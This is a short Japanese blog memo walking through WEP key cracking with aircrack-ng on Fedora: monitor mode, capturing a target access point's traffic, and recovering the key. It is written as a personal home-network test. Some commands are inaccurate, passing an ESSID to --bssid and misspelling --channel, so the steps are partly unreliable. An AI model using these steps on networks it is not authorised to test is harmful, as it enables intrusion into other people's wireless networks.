aircrack-ng WEPクラック

最近いろんなツール試してるので、メモです。 

fedora15がまだ寂しいので、aircrack-ngをインストールしてみる。 

# yum install aircrack-ng 

これでインストールが完了してしまうのがビックリ。 
こんなの普段必要なくないか?それがyumからインストールできるとは… 

とりあえず自宅の環境でテストしてみます。 
まぁ、今頃wepを使用している家は少ないと思いますが。 

まず、iwconfigコマンドで無線LANバイス名を調べる。 
だいたいwlan0とかだと思うけど。 


# iwconfig 


 


次に無線LANバイスモニターモードにする。 


# airmon-ng start wlan0 

 

 


iwconfigで確認するとmon0という仮想デバイスができている。 

 


次に周辺にどんなAPがあるか調べる。 

# airodump-ng mon0 

 


対象のAPが見つかったら、その対象のAPのみにairodumpをしぼめる。

記述方法: airodump-ng --channe [対象チャネル] --bssid [対象ESSID] -w [保存するファイル名(capファイル)]       [仮想デバイス]


# airodump-ng --channe 10 --bssid test-ap -w  test.cap  mon0 

 


別の端末画面でwepキーの解析を行う。 

# aircrack-ng test.cap


終了。 
youtube一本見たらすぐに解析できます。 
mon0のパケットをwiresharkでとれるので、無線のパケットがどんなものなのか採集して調べて、実際になにか作ってみたら面白いと思う。